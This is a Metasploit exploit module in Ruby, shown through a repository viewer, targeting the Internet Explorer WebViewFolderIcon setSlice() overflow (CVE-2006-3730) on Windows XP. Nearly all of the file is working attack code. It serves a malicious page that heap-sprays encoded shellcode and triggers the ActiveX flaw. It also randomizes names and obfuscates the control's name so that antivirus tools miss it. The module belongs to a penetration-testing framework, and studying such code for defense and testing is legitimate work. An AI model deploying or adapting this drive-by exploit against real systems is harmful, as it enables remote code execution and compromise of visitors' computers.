root / modules / exploits / windows / browser / ms06_057_webview_setslice.rb @ master
History | View | Annotate | Download (3.5 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = NormalRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::HttpServer::HTML |
| 18 |
|
| 19 |
def initialize(info = {}) |
| 20 |
super(update_info(info,
|
| 21 |
'Name' => 'Internet Explorer WebViewFolderIcon setSlice() Overflow', |
| 22 |
'Description' => %q{ |
| 23 |
This module exploits a flaw in the WebViewFolderIcon ActiveX control |
| 24 |
included with Windows 2000, Windows XP, and Windows 2003. This flaw was published |
| 25 |
during the Month of Browser Bugs project (MoBB #18). |
| 26 |
},
|
| 27 |
'License' => MSF_LICENSE, |
| 28 |
'Author' =>
|
| 29 |
[ |
| 30 |
'hdm',
|
| 31 |
], |
| 32 |
'Version' => '$Revision$', |
| 33 |
'References' =>
|
| 34 |
[ |
| 35 |
[ 'CVE', '2006-3730'], |
| 36 |
[ 'OSVDB', '27110' ], |
| 37 |
[ 'MSB', 'MS06-057'], |
| 38 |
[ 'BID', '19030' ], |
| 39 |
[ 'URL', 'http://browserfun.blogspot.com/2006/07/mobb-18-webviewfoldericon-setslice.html' ] |
| 40 |
], |
| 41 |
'Payload' =>
|
| 42 |
{
|
| 43 |
'Space' => 1024, |
| 44 |
'BadChars' => "\x00", |
| 45 |
|
| 46 |
}, |
| 47 |
'Platform' => 'win', |
| 48 |
'Targets' =>
|
| 49 |
[ |
| 50 |
['Windows XP SP0-SP2 / IE 6.0SP1 English', {'Ret' => 0x0c0c0c0c} ] |
| 51 |
], |
| 52 |
'DefaultTarget' => 0, |
| 53 |
'DisclosureDate' => 'Jul 17 2006')) |
| 54 |
end
|
| 55 |
|
| 56 |
def on_request_uri(cli, request) |
| 57 |
|
| 58 |
# Re-generate the payload
|
| 59 |
return if ((p = regenerate_payload(cli)) == nil) |
| 60 |
|
| 61 |
# Encode the shellcode
|
| 62 |
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) |
| 63 |
|
| 64 |
# Get a unicode friendly version of the return address
|
| 65 |
addr_word = [target.ret].pack('V').unpack('H*')[0][0,4] |
| 66 |
|
| 67 |
# Randomize the javascript variable names
|
| 68 |
var_buffer = rand_text_alpha(rand(30)+2) |
| 69 |
var_shellcode = rand_text_alpha(rand(30)+2) |
| 70 |
var_unescape = rand_text_alpha(rand(30)+2) |
| 71 |
var_x = rand_text_alpha(rand(30)+2) |
| 72 |
var_i = rand_text_alpha(rand(30)+2) |
| 73 |
var_tic = rand_text_alpha(rand(30)+2) |
| 74 |
var_toc = rand_text_alpha(rand(30)+2) |
| 75 |
|
| 76 |
# Annoying AVs
|
| 77 |
var_aname = "==QMu42bjlkclRGbvZ0dllmViV2Vu42bjlkclRGbvZ0dllmViV2V".reverse.unpack("m*")[0] |
| 78 |
var_ameth = "=U2Ypx2U0V2c".reverse.unpack("m*")[0] |
| 79 |
|
| 80 |
# Randomize HTML data
|
| 81 |
html = rand_text_alpha(rand(30)+2) |
| 82 |
|
| 83 |
|
| 84 |
# Build out the message
|
| 85 |
content = %Q|
|
| 86 |
<html> |
| 87 |
<head> |
| 88 |
<script> |
| 89 |
try {
|
| 90 |
|
| 91 |
var #{var_unescape} = unescape ; |
| 92 |
var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ; |
| 93 |
|
| 94 |
var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ; |
| 95 |
while (#{var_buffer}.length <= 0x100000) #{var_buffer}+=#{var_buffer} ; |
| 96 |
|
| 97 |
var #{var_x} = new Array() ; |
| 98 |
for ( var #{var_i} =0 ; #{var_i} < 120 ; #{var_i}++ ) { |
| 99 |
#{var_x}[ #{var_i} ] = |
| 100 |
#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ; |
| 101 |
} |
| 102 |
|
| 103 |
|
| 104 |
for ( var #{var_i} = 0 ; #{var_i} < 1024 ; #{var_i}++) { |
| 105 |
var #{var_tic} = new ActiveXObject( '#{var_aname}' ); |
| 106 |
try { #{var_tic}.#{var_ameth}( 0x7ffffffe , 0 , 0 , #{target.ret} ) ; } catch( e ) { }
|
| 107 |
var #{var_toc} = new ActiveXObject( '#{var_aname}' ); |
| 108 |
} |
| 109 |
|
| 110 |
} catch( e ) { window.location = 'about:blank' ; }
|
| 111 |
|
| 112 |
</script> |
| 113 |
</head> |
| 114 |
<body> |
| 115 |
#{html} |
| 116 |
</body> |
| 117 |
</html> |
| 118 |
|
|
| 119 |
|
| 120 |
content = Rex::Text.randomize_space(content) |
| 121 |
|
| 122 |
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
| 123 |
|
| 124 |
# Transmit the response to the client
|
| 125 |
send_response_html(cli, content) |
| 126 |
|
| 127 |
# Handle the payload
|
| 128 |
handler(cli) |
| 129 |
end
|
| 130 |
|
| 131 |
end
|